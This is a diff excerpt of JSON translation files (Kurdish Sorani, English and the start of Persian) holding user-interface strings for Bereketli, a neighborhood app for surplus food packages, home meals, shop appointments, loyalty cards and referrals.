"deleteAccountConfirm": "ئەم کارە ناگەڕێتەوە. هەژمارەکەت و هەموو داتاکانت بۆ هەمیشەیی دەسڕدرێتەوە.",
"deleteAccountButton": "هەژمارەکەم بسڕەرەوە",
"deleteAccountFailed": "نەتوانرا هەژمارە بسڕدرێتەوە. دووبارە هەوڵبدەرەوە.",
"language": "زمان",
"selectLanguage": "زمان هەڵبژێرە"
},
"changePassword": {
"title": "گۆڕینی وشەی نهێنی",
"subtitle": "بۆ ئاسایشت وشەی نهێنی ئێستات بنووسە",
"currentPassword": "وشەی نهێنی ئێستا",
"currentPasswordPlaceholder": "وشەی نهێنی ئێستات",
"newPassword": "وشەی نهێنی نوێ",
"newPasswordPlaceholder": "لانیکەم ٨ پیت",
"confirmPassword": "دووبارەکردنەوەی وشەی نهێنی نوێ",
"confirmPasswordPlaceholder": "وشەی نهێنی نوێت دووبارە بنووسەرەوە",
"changing": "گۆڕدرا...",
"change": "وشەی نهێنی بگۆڕە",
"allFieldsRequired": "تکایە هەموو خانەکان پڕبکەرەوە",
"passwordMinLength": "وشەی نهێنی نوێ لانیکەم ٨ پیت دەبێت",
"passwordMismatch": "وشەی نهێنییە نوێیەکان یەک ناگرنەوە",
"success": "وشەی نهێنیت گۆڕا",
"successTitle": "سەرکەوتوو بوو",
"failed": "نەتوانرا وشەی نهێنی بگۆڕدرێت. وشەی نهێنی ئێستات بپشکنە."
},
"faq": {
"title": "پرسیارە باوەکان",
"categoryAll": "هەمووی",
"categoryGenel": "گشتی",
"categoryCustomers": "کڕیارەکان",
"categoryBusinesses": "بزنسەکان",
"categoryPayment": "پارەدان",
"empty": "هێشتا پرسیاری باو زیاد نەکراوە"
},
"appointments": {
"title": "مەوعیدەکانم",
"statusPending": "چاوەڕوانە",
"statusConfirmed": "پەسەند کرا",
"statusCompleted": "تەواو بوو",
"statusCancelled": "هەڵوەشا",
"statusNoShow": "نەهات",
"cancelTitle": "هەڵوەشاندنی مەوعید",
"cancelMessage": "دڵنیایت لە هەڵوەشاندنی ئەم مەوعیدە؟",
"cancelConfirm": "هەڵبوەشێنە",
"cancelFailed": "نەتوانرا مەوعید هەڵبوەشێنرێت.",
"durationMin": "{{min}} خولەک",
"emptyTitle": "هێشتا مەوعیدت نییە",
"emptyText": "لە بەشی دوکانەکانەوە لەگەڵ دەلاک یان خەیاتدا مەوعید دابنێ",
"days": {
"sunday": "یەکشەممە",
"monday": "دووشەممە",
"tuesday": "سێشەممە",
"wednesday": "چوارشەممە",
"thursday": "پێنجشەممە",
"friday": "هەینی",
"saturday": "شەممە"
}
},
"loyalty": {
"title": "کارتەکانی وەفاداری",
"stampUnit": "مۆر",
"pointUnit": "خاڵ",
"visitUnit": "سەردان",
"redeemButton": "خەڵات وەربگرە",
"notReady": "هێشتا ئامادە نییە",
"notReadyMsg": "{{progress}} تەواو بکە بۆ بەدەستهێنانی خەڵاتەکەت.",
"redeemTitle": "خەڵات وەربگرە",
"redeemMessage": "{{reward}}\n\nدەتەوێت خەڵاتەکەت وەربگریت؟",
"redeemSuccess": "پیرۆزە!",
"redeemSuccessMsg": "خەڵاتەکەت بەکارهێنرا.",
"redeemFailed": "نەتوانرا خەڵات وەربگیردرێت",
"lastVisit": "کۆتا سەردان: {{date}}",
"emptyTitle": "هێشتا کارتی وەفاداریت نییە",
"emptyText": "لە دوکانەکانی گەڕەکەوە کڕین بکە و خاڵ کۆبکەرەوە",
"exploreMerchants": "دوکانەکان بدۆزەرەوە"
},
"chat": {
"title": "یاریدەدەری بەرەکەتلی",
"placeholder": "پەیامەکەت بنووسە...",
"greeting": "سڵاو! من یاریدەدەری بەرەکەتلیم. چۆن دەتوانم یارمەتیت بدەم؟",
"typing": "دەنووسێت...",
"error": "وەڵام نەگەیشت، دووبارە هەوڵبدەرەوە",
"suggestPackages": "پاکێتە نزیکەکان",
"suggestFood": "چی بخۆم؟",
"suggestStore": "دوکانێک پێشنیار بکە",
"suggestHez": "HEZ Coin چییە؟",
"listening": "گوێ دەگرم...",
"voiceError": "ناسینەوەی دەنگ سەرکەوتوو نەبوو، دووبارە هەوڵبدەرەوە",
"holdToTalk": "پەنجە بگرە و بدوێنە"
},
"referral": {
"title": "بانگهێشت بکە و ببەرەوە",
"totalPoints": "کۆی خاڵەکانت",
"pointsUnit": "خاڵ",
"inviteLabel": "بانگهێشتەکان",
"completedLabel": "تەواو بوو",
"earnedLabel": "بەدەستهاتوو",
"codeTitle": "کۆدی بانگهێشتت",
"copy": "لەبەرگرتنەوە",
"copied": "لەبەرگیرایەوە",
"copiedMsg": "کۆدی بانگهێشتت: {{code}}",
"whatsappShare": "هاوبەشکردن لە واتسئەپ",
"share": "هاوبەشکردن",
"shareText": "وەرە بۆ بەرەکەتلی، پێکەوە قازانج بکەین! کۆدی بانگهێشتم: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "چۆن کار دەکات؟",
"step1Title": "هاوڕێکەت خۆی تۆمار دەکات",
"step1Desc": "{{points}}+ خاڵ ببەرەوە",
"step2Title": "یەکەم داواکاریی دەکات",
"step2Desc": "١٠٠ خاڵ ببەرەوە",
"step3Title": "هەرچەندە زیاتر بانگهێشت بکەیت",
"step3Desc": "ئەوەندە زیاتر خاڵ دەبەیتەوە!",
"usePoints": "خاڵەکانت بەکاربهێنە",
"usePoints1Title": "داشکان لە پاکێتەکان",
"usePoints1Desc": "ئۆفەرەکانی دوکانەکان",
"usePoints2Title": "بیگۆڕە بۆ HEZ Coin",
"usePoints2Desc": "بەم زووانە",
"historyTitle": "مێژووی بانگهێشتەکان",
"historyEmpty": "هێشتا بانگهێشتت نییە",
"historyEmptyText": "کۆدەکەت هاوبەش بکە و دەست بکە بە کۆکردنەوەی خاڵ"
}
}
@@ -0,0 +1,467 @@
{
"common": {
"loading": "Loading...",
"error": "Error",
"retry": "Try Again",
"cancel": "Cancel",
"ok": "OK",
"save": "Save",
"delete": "Delete",
"back": "Back",
"next": "Next",
"close": "Close",
"search": "Search",
"noResults": "No results found",
"pullToRefresh": "Pull to refresh",
"or": "or",
"confirm": "Confirm",
"all": "All",
"distance": "Distance",
"goBack": "Go Back",
"saving": "Saving...",
"info": "Info"
},
"tabs": {
"paketler": "Packages",
"komsu": "Neighbor",
"esnaf": "Local Shops",
"hesabim": "My Account"
},
"auth": {
"subtitle": "Your neighborhood app",
"emailOrPhone": "Email or Phone",
"emailPlaceholder": "example@email.com or 05xx...",
"password": "Password",
"passwordPlaceholder": "Your password",
"loggingIn": "Logging in...",
"login": "Log In",
"googleLogin": "Sign in with Google",
"noAccount": "Don't have an account?",
"registerLink": "Sign Up",
"loginErrorTitle": "Error",
"loginErrorRequired": "Email/phone and password are required",
"googleTokenError": "Could not get Google sign-in token",
"googlePlayError": "Google Play Services is not available",
"googleLoginFailed": "Google sign-in failed",
"registerTitle": "Sign Up",
"registerSubtitle": "Welcome to Bereketli",
"fullName": "Full Name",
"fullNamePlaceholder": "Your full name",
"email": "Email",
"emailOnlyPlaceholder": "example@email.com",
"phoneOptional": "Phone (Optional)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "Password",
"passwordMinPlaceholder": "At least 8 characters",
"confirmPassword": "Confirm Password",
"confirmPasswordPlaceholder": "Re-enter your password",
"referralCodeOptional": "Referral Code (Optional)",
"referralCodePlaceholder": "Enter referral code if you have one",
"registering": "Signing up...",
"register": "Sign Up",
"haveAccount": "Already have an account?",
"loginLink": "Log In",
"registerErrorRequired": "Name, email and password are required",
"registerErrorPasswordMin": "Password must be at least 8 characters",
"registerErrorPasswordMatch": "Passwords do not match"
},
"splash": {
"subtitle": "Your neighborhood app",
"tagline": "Prevent food waste, share abundance"
},
"onboarding": {
"slide1Title": "Prevent Food Waste",
"slide1Desc": "Buy quality products left at the end of the day from stores at discounted prices. Save money and do good for the world.",
"slide2Title": "Discover Your Neighborhood",
"slide2Desc": "Find nearby bakeries, grocers, butchers, barbers and more. Collect loyalty points, earn rewards.",
"slide3Title": "Get Started",
"slide3Desc": "Share your location, discover surprise packages and local shops nearby!",
"locationLabel": "Location",
"locationDesc": "Show nearby packages",
"notificationLabel": "Notifications",
"notificationDesc": "Stay informed about deals",
"skip": "Skip",
"next": "Next →",
"start": "Start",
"micLabel": "Microphone",
"micDesc": "To talk with AI assistant",
"cameraLabel": "Camera",
"cameraDesc": "For QR codes and photos"
},
"locationPicker": {
"title": "Select Location",
"useMyLocation": "Use My Location",
"confirm": "Confirm",
"permissionRequired": "Location Permission Required",
"permissionMessage": "Please enable location permission in Settings.",
"gpsError": "GPS Signal Not Found",
"gpsErrorMessage": "Try again in an open area or select a pin on the map."
},
"packages": {
"deliveryAddress": "Delivery address",
"selectLocation": "Select location",
"searchPlaceholder": "Search packages or stores...",
"sortLabel": "Sort",
"sortDistance": "Distance",
"sortPrice": "Price",
"sortRating": "Rating",
"delivery": "Delivery",
"discounted": "Discounted",
"lastFew": "Last few",
"priceRange": "Price Range",
"referralBannerTitle": "Invite & Earn",
"referralBannerDesc": "Bring your friend, earn points!",
"categoryAll": "All",
"categoryBakery": "Bakery",
"categoryRestaurant": "Restaurant",
"categoryPastry": "Pastry",
"categoryMarket": "Market",
"nearbyPackages": "Nearby Packages",
"categoryPackages": "{{category}} Packages",
"packageCount": "{{count}} packages",
"emptyTitle": "No packages nearby",
"emptyText": "Increase the distance or try \"All\"",
"notificationPermission": "Notification Permission",
"notificationPermissionMsg": "You need to allow notifications. You can grant permission in Settings.",
"notificationsEnabled": "Notifications Enabled",
"notificationsEnabledMsg": "You will be notified about new packages and campaigns!",
"notificationRegisterFailed": "Notification registration failed."
},
"packageDetail": {
"title": "Package Detail",
"notFound": "Package not found",
"loadError": "Could not load package details",
"description": "Description",
"details": "Details",
"priceLabel": "Price",
"pickupTime": "Pickup Time",
"remaining": "Remaining",
"status": "Status",
"statusActive": "Active",
"statusSoldOut": "Sold Out",
"statusExpired": "Expired",
"deliveryMethod": "Delivery Method",
"pickup": "Pick Up",
"deliveryToAddress": "Deliver to Address",
"deliveryAddressPlaceholder": "Enter your delivery address",
"deliveryAddressRequired": "Please enter a delivery address",
"total": "Total",
"purchasing": "Placing Order...",
"purchase": "Buy Now",
"orderCreated": "Order Created",
"orderCreatedMsg": "Order #{{orderId}}\nTotal: {{price}} TL\n\nRedirecting to payment page.",
"viewOrder": "View Order",
"orderFailed": "Could not create order. Please try again.",
"discount": "{{percent}}% Off"
},
"orders": {
"title": "My Orders",
"orderCount": "{{count}} orders",
"qrPickup": "QR Pickup",
"tabPackages": "Package",
"tabMeals": "Neighbor Meal",
"emptyPackagesTitle": "No package orders yet",
"emptyPackagesText": "Place your first order from the Packages tab",
"emptyMealsTitle": "No meal orders yet",
"emptyMealsText": "Order home-cooked food from the Neighbor tab",
"statusPending": "Pending",
"statusPaid": "Paid",
"statusPickedUp": "Picked Up",
"statusCancelled": "Cancelled",
"statusRefunded": "Refunded",
"statusAccepted": "Accepted",
"statusRejected": "Rejected",
"statusCompleted": "Completed",
"mealOrderBadge": "Neighbor Meal",
"portions": "{{count}} portions"
},
"orderDetail": {
"backLabel": "Back",
"notFound": "Order not found",
"loadError": "Could not load order details",
"pickupCode": "Pickup Code",
"tokenLabel": "Token",
"qrHint": "Show this QR code to the store staff",
"orderDetails": "Order Details",
"orderNo": "Order No",
"quantity": "Quantity",
"unitPrice": "Unit Price",
"total": "Total",
"date": "Date",
"paymentDate": "Payment Date",
"pickupDate": "Pickup Date",
"cancelDate": "Cancel Date",
"cancelling": "Cancelling...",
"cancelOrder": "Cancel Order",
"cancelTitle": "Cancel Order",
"cancelMessage": "Are you sure you want to cancel this order?",
"cancelConfirm": "Cancel",
"cancelSuccess": "Your order has been cancelled",
"cancelFailed": "Could not cancel order",
"reviewButton": "Write Review",
"reviewTitle": "Rate Your Experience",
"reviewPlaceholder": "Your review (optional)",
"reviewSubmitting": "Submitting...",
"reviewSubmit": "Submit",
"reviewRatingRequired": "Please select a rating",
"reviewSuccess": "Your review has been saved!",
"reviewSuccessTitle": "Thank You",
"reviewFailed": "Could not submit review",
"reviewDone": "Your review has been saved. Thank you!"
},
"mealOrderDetail": {
"qrHint": "Show this QR code to the cook",
"portionLabel": "Portions",
"orderDate": "Order Date",
"acceptDate": "Accept Date",
"deliveryDate": "Delivery Date",
"cancelDate": "Cancel Date"
},
"qrScan": {
"title": "QR Pickup",
"verifying": "Verifying...",
"scanPrompt": "Scan QR Code",
"instructions": "Scan the QR code at the store with your camera when picking up your order",
"successTitle": "Picked Up!",
"successMessage": "Order #{{orderId}} successfully picked up.\n\nTotal: {{price}} TL",
"errorMessage": "QR code could not be verified. Please try again.",
"retryButton": "Try Again"
},
"search": {
"placeholder": "Search packages, stores or categories...",
"popularCategories": "Popular Categories",
"popularSearches": "Popular Searches",
"resultCount": "{{count}} results found",
"emptyTitle": "No results found",
"emptyText": "Try a different search term"
},
"meals": {
"title": "Neighbor Meals",
"subtitle": "Homemade, fresh, trusted",
"searchPlaceholder": "Search meals or cooks...",
"nearbyMeals": "Nearby Meals",
"mealCount": "{{count}} meals",
"pickup": "Pick Up",
"delivery": "Delivery",
"pickupOrDelivery": "Pick Up / Delivery",
"lastPortions": "Last {{count}}!",
"perPortion": "/ portion",
"portionCount": "{{count}} portions",
"emptyTitle": "No home-cooked meals nearby",
"emptyText": "Increase the distance or check back later"
},
"mealDetail": {
"title": "Meal Detail",
"notFound": "Meal not found",
"defaultCook": "Cook",
"priceLabel": "Price",
"pricePerPortion": "{{price}} TL / portion",
"availableUntil": "Available",
"availableUntilValue": "Until {{time}}",
"remainingLabel": "Remaining",
"remainingValue": "{{remaining}} / {{total}} portions",
"deliveryLabel": "Delivery",
"pickup": "Pick Up",
"deliveryToAddress": "Home Delivery",
"pickupOrDelivery": "Pick Up / Delivery",
"portionLabel": "Portions",
"total": "Total",
"ordering": "Placing Order...",
"soldOut": "Sold Out",
"order": "Place Order",
"orderSuccess": "Order Placed!",
"orderSuccessMsg": "Order #{{orderId}}\n{{portions}} portions {{title}}\nTotal: {{total}} TL\n\nYou will be notified when the cook confirms.",
"orderFailed": "Could not create order."
},
"merchants": {
"title": "Local Shops",
"subtitle": "Collect points, earn rewards",
"searchPlaceholder": "Search shops or stores...",
"categoryAll": "All",
"categoryBarber": "Barber",
"categoryCafe": "Cafe",
"categoryButcher": "Butcher",
"categoryGreengrocer": "Greengrocer",
"categoryBakery": "Bakery",
"categoryPharmacy": "Pharmacy",
"categoryTailor": "Tailor",
"categoryOther": "Other",
"nearbyMerchants": "Nearby Shops",
"merchantCount": "{{count}} shops",
"proPlan": "Pro Shop",
"businessPlan": "Business",
"emptyTitle": "No shops found nearby",
"emptyText": "Increase the distance or try another category"
},
"merchantDetail": {
"notFound": "Shop not found",
"phoneNotRegistered": "Phone number is not registered.",
"services": "Services",
"products": "Products",
"surprisePackages": "Surprise Packages",
"buyButton": "Buy",
"loyaltyProgram": "Loyalty Program",
"loyaltyJoinHint": "You'll automatically join on your first visit",
"contact": "Contact",
"callSuffix": "Call",
"appointmentTitle": "Book Appointment",
"appointmentTimes": "Available times for tomorrow:",
"appointmentCreated": "Appointment Created!",
"appointmentCreatedMsg": "{{service}}\n{{date}} at {{time}}\n\nYou will be notified when the shop confirms.",
"appointmentFailed": "Could not create appointment.",
"orderCreated": "Order Created!",
"orderFailed": "Could not create order",
"callAndOrder": "Call & Order",
"closeButton": "Close"
},
"profile": {
"title": "My Account",
"defaultUser": "User",
"editHint": "Edit",
"editNameTitle": "Edit Your Name",
"namePlaceholder": "Your name",
"nameRequired": "Name cannot be empty",
"nameUpdateFailed": "Could not update name",
"ordersLabel": "My Orders",
"appointmentsLabel": "Appointments",
"loyaltyLabel": "Loyalty",
"discoverLabel": "Discover",
"surprisePackages": "Surprise Packages",
"surprisePackagesDesc": "Discounted packages nearby",
"neighborhoodMerchants": "Local Shops",
"neighborhoodMerchantsDesc": "Collect points, earn rewards",
"securityLabel": "Security",
"changePassword": "Change Password",
"supportLabel": "Support",
"faq": "Frequently Asked Questions",
"faqDesc": "18 FAQs - real answers",
"contactLabel": "Contact",
"contactEmail": "destek@bereketli.app",
"website": "Website",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "Version",
"logout": "Log Out",
"logoutConfirm": "Are you sure you want to log out?",
"logoutCancel": "Cancel",
"deleteAccount": "Delete My Account",
"deleteAccountDesc": "This action cannot be undone",
"deleteAccountConfirm": "This action cannot be undone. Your account and all data will be permanently deleted.",
"deleteAccountButton": "Delete My Account",
"deleteAccountFailed": "Could not delete account. Please try again.",
"language": "Language",
"selectLanguage": "Select Language"
},
"changePassword": {
"title": "Change Password",
"subtitle": "Enter your current password for security",
"currentPassword": "Current Password",
"currentPasswordPlaceholder": "Your current password",
"newPassword": "New Password",
"newPasswordPlaceholder": "At least 8 characters",
"confirmPassword": "Confirm New Password",
"confirmPasswordPlaceholder": "Re-enter your new password",
"changing": "Changing...",
"change": "Change Password",
"allFieldsRequired": "Please fill in all fields",
"passwordMinLength": "New password must be at least 8 characters",
"passwordMismatch": "New passwords do not match",
"success": "Your password has been changed",
"successTitle": "Success",
"failed": "Could not change password. Check your current password."
},
"faq": {
"title": "Frequently Asked Questions",
"categoryAll": "All",
"categoryGenel": "General",
"categoryCustomers": "Customers",
"categoryBusinesses": "Businesses",
"categoryPayment": "Payment",
"empty": "No FAQs added yet"
},
"appointments": {
"title": "My Appointments",
"statusPending": "Pending",
"statusConfirmed": "Confirmed",
"statusCompleted": "Completed",
"statusCancelled": "Cancelled",
"statusNoShow": "No Show",
"cancelTitle": "Cancel Appointment",
"cancelMessage": "Are you sure you want to cancel this appointment?",
"cancelConfirm": "Cancel",
"cancelFailed": "Could not cancel appointment.",
"durationMin": "{{min}} min",
"emptyTitle": "No appointments yet",
"emptyText": "Book an appointment with a barber or tailor from the Local Shops tab",
"days": {
"sunday": "Sunday",
"monday": "Monday",
"tuesday": "Tuesday",
"wednesday": "Wednesday",
"thursday": "Thursday",
"friday": "Friday",
"saturday": "Saturday"
}
},
"loyalty": {
"title": "My Loyalty Cards",
"stampUnit": "stamps",
"pointUnit": "points",
"visitUnit": "visits",
"redeemButton": "Redeem",
"notReady": "Not ready yet",
"notReadyMsg": "Complete {{progress}} to claim your reward.",
"redeemTitle": "Redeem Reward",
"redeemMessage": "{{reward}}\n\nDo you want to redeem your reward?",
"redeemSuccess": "Congratulations!",
"redeemSuccessMsg": "Your reward has been redeemed.",
"redeemFailed": "Could not redeem reward",
"lastVisit": "Last visit: {{date}}",
"emptyTitle": "No loyalty cards yet",
"emptyText": "Collect points by shopping at local merchants",
"exploreMerchants": "Explore Shops"
},
"chat": {
"title": "Bereketli AI",
"placeholder": "Type your message...",
"greeting": "Hello! I'm the Bereketli assistant. How can I help you?",
"typing": "typing...",
"error": "Could not get a response, please try again",
"suggestPackages": "Packages near me",
"suggestFood": "What can I eat?",
"suggestStore": "Suggest a store",
"suggestHez": "What is HEZ Coin?",
"listening": "Listening...",
"voiceError": "Speech recognition failed, please try again",
"holdToTalk": "Hold to talk"
},
"referral": {
"title": "Invite & Earn",
"totalPoints": "Total Points",
"pointsUnit": "points",
"inviteLabel": "Invites",
"completedLabel": "Completed",
"earnedLabel": "Earned",
"codeTitle": "Your Invite Code",
"copy": "Copy",
"copied": "Copied",
"copiedMsg": "Your invite code: {{code}}",
"whatsappShare": "Share via WhatsApp",
"share": "Share",
"shareText": "Join Bereketli, let's earn together! My invite code: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "How It Works",
"step1Title": "Your friend signs up",
"step1Desc": "Earn {{points}}+ points",
"step2Title": "Places first order",
"step2Desc": "Earn 100 points",
"step3Title": "The more you invite",
"step3Desc": "The more points you earn!",
"usePoints": "Use Your Points",
"usePoints1Title": "Package discounts",
"usePoints1Desc": "Offers set by stores",
"usePoints2Title": "Convert to HEZ Coin",
"usePoints2Desc": "Coming soon",
"historyTitle": "Invite History",
"historyEmpty": "No invites yet",
"historyEmptyText": "Share your code and start earning points"
}
}
@@ -0,0 +1,467 @@
{
"common": {
"loading": "در حال بارگذاری...",
"error": "خطا",
"retry": "تلاش مجدد",
"cancel": "لغو",
"ok": "باشه",
"save": "ذخیره",
"delete": "حذف",
"back": "بازگشت",
"next": "بعدی",
"close": "بستن",
"search": "جستجو",
"noResults": "نتیجه‌ای یافت نشد",
"pullToRefresh": "برای بروزرسانی بکشید",
"or": "یا",
"confirm": "تایید",
"all": "همه",
"distance": "فاصله",
"goBack": "برگرد",
"saving": "در حال ذخیره...",
"info": "اطلاعات"
},
"tabs": {
"paketler": "بسته‌ها",
"komsu": "همسایه",
"esnaf": "فروشگاه‌ها",
"hesabim": "حساب من"
},
"auth": {
"subtitle": "اپلیکیشن محله شما",
"emailOrPhone": "ایمیل یا تلفن",
"emailPlaceholder": "example@email.com یا 05xx...",
"password": "رمز عبور",
"passwordPlaceholder": "رمز عبور شما",
"loggingIn": "در حال ورود...",
"login": "ورود",
"googleLogin": "ورود با گوگل",
"noAccount": "حساب کاربری ندارید؟",
"registerLink": "ثبت‌نام کنید",
"loginErrorTitle": "خطا",
"loginErrorRequired": "ایمیل/تلفن و رمز عبور الزامی هستند",
"googleTokenError": "دریافت توکن گوگل ناموفق بود",
"googlePlayError": "سرویس‌های گوگل پلی در دسترس نیست",
"googleLoginFailed": "ورود با گوگل ناموفق بود",
"registerTitle": "ثبت‌نام",
"registerSubtitle": "به برکتلی خوش آمدید",
"fullName": "نام و نام خانوادگی",
"fullNamePlaceholder": "نام کامل شما",
"email": "ایمیل",
"emailOnlyPlaceholder": "example@email.com",
"phoneOptional": "تلفن (اختیاری)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "رمز عبور",
"passwordMinPlaceholder": "حداقل ۸ کاراکتر",
"confirmPassword": "تکرار رمز عبور",
"confirmPasswordPlaceholder": "رمز عبور را دوباره وارد کنید",
"referralCodeOptional": "کد دعوت (اختیاری)",
"referralCodePlaceholder": "اگر کد دعوت دارید وارد کنید",
"registering": "در حال ثبت‌نام...",
"register": "ثبت‌نام",
"haveAccount": "قبلا حساب دارید؟",
"loginLink": "وارد شوید",
"registerErrorRequired": "نام، ایمیل و رمز عبور الزامی هستند",
"registerErrorPasswordMin": "رمز عبور باید حداقل ۸ کاراکتر باشد",
"registerErrorPasswordMatch": "رمزهای عبور مطابقت ندارند"
},
"splash": {
"subtitle": "اپلیکیشن محله شما",
"tagline": "از هدر رفتن غذا جلوگیری کنید، برکت را به اشتراک بگذارید"
},
"onboarding": {
"slide1Title": "جلوگیری از هدر رفتن غذا",
"slide1Desc": "محصولات باکیفیت باقیمانده آخر روز فروشگاه‌ها را با تخفیف بخرید. هم صرفه‌جویی کنید، هم کار خیر.",
"slide2Title": "محله خود را کشف کنید",
"slide2Desc": "نانوایی، میوه‌فروشی، قصابی، آرایشگاه و بیشتر را در نزدیکی خود پیدا کنید. امتیاز وفاداری جمع کنید، جایزه ببرید.",
"slide3Title": "شروع کنید",
"slide3Desc": "موقعیت خود را به اشتراک بگذارید، بسته‌های سورپرایز و فروشگاه‌های نزدیک را کشف کنید!",
"locationLabel": "موقعیت",
"locationDesc": "نمایش بسته‌های نزدیک",
"notificationLabel": "اعلان‌ها",
"notificationDesc": "از فرصت‌ها باخبر باشید",
"skip": "رد شو",
"next": "بعدی ←",
"start": "شروع",
"micLabel": "میکروفون",
"micDesc": "برای صحبت با دستیار هوشمند",
"cameraLabel": "دوربین",
"cameraDesc": "برای کد QR و عکس"
},
"locationPicker": {
"title": "انتخاب موقعیت",
"useMyLocation": "استفاده از موقعیت من",
"confirm": "تایید",
"permissionRequired": "مجوز موقعیت لازم است",
"permissionMessage": "لطفا مجوز موقعیت را از تنظیمات فعال کنید.",
"gpsError": "سیگنال GPS دریافت نشد",
"gpsErrorMessage": "در فضای باز دوباره تلاش کنید یا روی نقشه نقطه‌ای انتخاب کنید."
},
"packages": {
"deliveryAddress": "آدرس تحویل",
"selectLocation": "انتخاب موقعیت",
"searchPlaceholder": "جستجوی بسته یا فروشگاه...",
"sortLabel": "مرتب‌سازی",
"sortDistance": "فاصله",
"sortPrice": "قیمت",
"sortRating": "امتیاز",
"delivery": "تحویل",
"discounted": "تخفیف‌دار",
"lastFew": "تعداد محدود",
"priceRange": "محدوده قیمت",
"referralBannerTitle": "دعوت کن و کسب کن",
"referralBannerDesc": "دوستت را بیاور، امتیاز کسب کن!",
"categoryAll": "همه",
"categoryBakery": "نانوایی",
"categoryRestaurant": "رستوران",
"categoryPastry": "شیرینی‌فروشی",
"categoryMarket": "سوپرمارکت",
"nearbyPackages": "بسته‌های نزدیک",
"categoryPackages": "بسته‌های {{category}}",
"packageCount": "{{count}} بسته",
"emptyTitle": "بسته‌ای در نزدیکی شما نیست",
"emptyText": "فاصله را افزایش دهید یا \"همه\" را امتحان کنید",
"notificationPermission": "مجوز اعلان",
"notificationPermissionMsg": "باید اجازه اعلان بدهید. از تنظیمات می‌توانید فعال کنید.",
"notificationsEnabled": "اعلان‌ها فعال شد",
"notificationsEnabledMsg": "از بسته‌ها و کمپین‌های جدید باخبر خواهید شد!",
"notificationRegisterFailed": "ثبت اعلان ناموفق بود."
},
"packageDetail": {
"title": "جزئیات بسته",
"notFound": "بسته یافت نشد",
"loadError": "بارگذاری اطلاعات بسته ناموفق بود",
"description": "توضیحات",
"details": "جزئیات",
"priceLabel": "قیمت",
"pickupTime": "زمان تحویل",
"remaining": "موجودی باقیمانده",
"status": "وضعیت",
"statusActive": "فعال",
"statusSoldOut": "تمام شد",
"statusExpired": "منقضی شده",
"deliveryMethod": "روش تحویل",
"pickup": "حضوری",
"deliveryToAddress": "ارسال به آدرس",
"deliveryAddressPlaceholder": "آدرس تحویل خود را وارد کنید",
"deliveryAddressRequired": "لطفا آدرس تحویل را وارد کنید",
"total": "مجموع",
"purchasing": "در حال ثبت سفارش...",
"purchase": "خرید",
"orderCreated": "سفارش ثبت شد",
"orderCreatedMsg": "سفارش #{{orderId}}\nمجموع: {{price}} لیر\n\nدر حال انتقال به صفحه پرداخت.",
"viewOrder": "مشاهده سفارش",
"orderFailed": "ثبت سفارش ناموفق بود. دوباره تلاش کنید.",
"discount": "{{percent}}٪ تخفیف"
},
"orders": {
"title": "سفارش‌های من",
"orderCount": "{{count}} سفارش",
"qrPickup": "تحویل QR",
"tabPackages": "بسته",
"tabMeals": "غذای همسایه",
"emptyPackagesTitle": "هنوز سفارش بسته‌ای ندارید",
"emptyPackagesText": "از بخش بسته‌ها اولین سفارش خود را ثبت کنید",
"emptyMealsTitle": "هنوز سفارش غذایی ندارید",
"emptyMealsText": "از بخش همسایه غذای خانگی سفارش دهید",
"statusPending": "در انتظار",
"statusPaid": "پرداخت شده",
"statusPickedUp": "تحویل گرفته شد",
"statusCancelled": "لغو شده",
"statusRefunded": "بازپرداخت شده",
"statusAccepted": "پذیرفته شده",
"statusRejected": "رد شده",
"statusCompleted": "تکمیل شده",
"mealOrderBadge": "غذای همسایه",
"portions": "{{count}} پرس"
},
"orderDetail": {
"backLabel": "بازگشت",
"notFound": "سفارش یافت نشد",
"loadError": "بارگذاری اطلاعات سفارش ناموفق بود",
"pickupCode": "کد تحویل",
"tokenLabel": "توکن",
"qrHint": "این کد QR را به کارمند فروشگاه نشان دهید",
"orderDetails": "جزئیات سفارش",
"orderNo": "شماره سفارش",
"quantity": "تعداد",
"unitPrice": "قیمت واحد",
"total": "مجموع",
"date": "تاریخ",
"paymentDate": "تاریخ پرداخت",
"pickupDate": "تاریخ تحویل",
"cancelDate": "تاریخ لغو",
"cancelling": "در حال لغو...",
"cancelOrder": "لغو سفارش",
"cancelTitle": "لغو سفارش",
"cancelMessage": "آیا مطمئنید که می‌خواهید این سفارش را لغو کنید؟",
"cancelConfirm": "لغو کن",
"cancelSuccess": "سفارش شما لغو شد",
"cancelFailed": "لغو سفارش ناموفق بود",
"reviewButton": "نظر بدهید",
"reviewTitle": "تجربه خود را امتیاز دهید",
"reviewPlaceholder": "نظر شما (اختیاری)",
"reviewSubmitting": "در حال ارسال...",
"reviewSubmit": "ارسال",
"reviewRatingRequired": "لطفا یک امتیاز انتخاب کنید",
"reviewSuccess": "نظر شما ثبت شد!",
"reviewSuccessTitle": "سپاس",
"reviewFailed": "ارسال نظر ناموفق بود",
"reviewDone": "نظر شما ثبت شد. سپاس!"
},
"mealOrderDetail": {
"qrHint": "این کد QR را به صاحب غذا نشان دهید",
"portionLabel": "پرس",
"orderDate": "تاریخ سفارش",
"acceptDate": "تاریخ پذیرش",
"deliveryDate": "تاریخ تحویل",
"cancelDate": "تاریخ لغو"
},
"qrScan": {
"title": "تحویل QR",
"verifying": "در حال تایید...",
"scanPrompt": "کد QR را اسکن کنید",
"instructions": "هنگام تحویل سفارش، کد QR فروشگاه را با دوربین خود اسکن کنید",
"successTitle": "تحویل گرفته شد!",
"successMessage": "سفارش #{{orderId}} با موفقیت تحویل گرفته شد.\n\nمجموع: {{price}} لیر",
"errorMessage": "تایید کد QR ناموفق بود. دوباره تلاش کنید.",
"retryButton": "تلاش مجدد"
},
"search": {
"placeholder": "جستجوی بسته، فروشگاه یا دسته‌بندی...",
"popularCategories": "دسته‌بندی‌های محبوب",
"popularSearches": "جستجوهای محبوب",
"resultCount": "{{count}} نتیجه یافت شد",
"emptyTitle": "نتیجه‌ای یافت نشد",
"emptyText": "عبارت جستجوی دیگری امتحان کنید"
},
"meals": {
"title": "غذاهای همسایه",
"subtitle": "خانگی، تازه، مطمئن",
"searchPlaceholder": "جستجوی غذا یا آشپز...",
"nearbyMeals": "غذاهای نزدیک",
"mealCount": "{{count}} غذا",
"pickup": "حضوری",
"delivery": "تحویل",
